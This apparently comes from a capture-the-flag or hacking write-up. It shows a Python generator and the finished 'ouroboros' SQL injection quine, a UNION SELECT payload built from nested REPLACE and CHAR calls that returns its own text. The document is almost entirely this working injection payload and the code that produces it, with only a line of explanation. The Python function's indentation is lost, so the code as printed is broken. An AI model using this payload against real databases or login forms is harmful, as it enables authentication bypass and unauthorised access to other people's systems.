This is the ouroboros, it can be generated using this source code:
def quine(data):
data = data.replace('$$', "REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
blob = data.replace('$$', '"$"').replace("'", '"')
data = data.replace('$$', "'" + blob + "'")
print(data)
quine("' UNION Select $$ -- -")
This is the input we gives, $$ will contain all the quine:
' UNION Select $$ -- -
' UNION Select REPLACE(REPLACE('" UNION Select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") -- -',CHAR(34),CHAR(39)),CHAR(36),'" UNION Select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") -- -') -- -
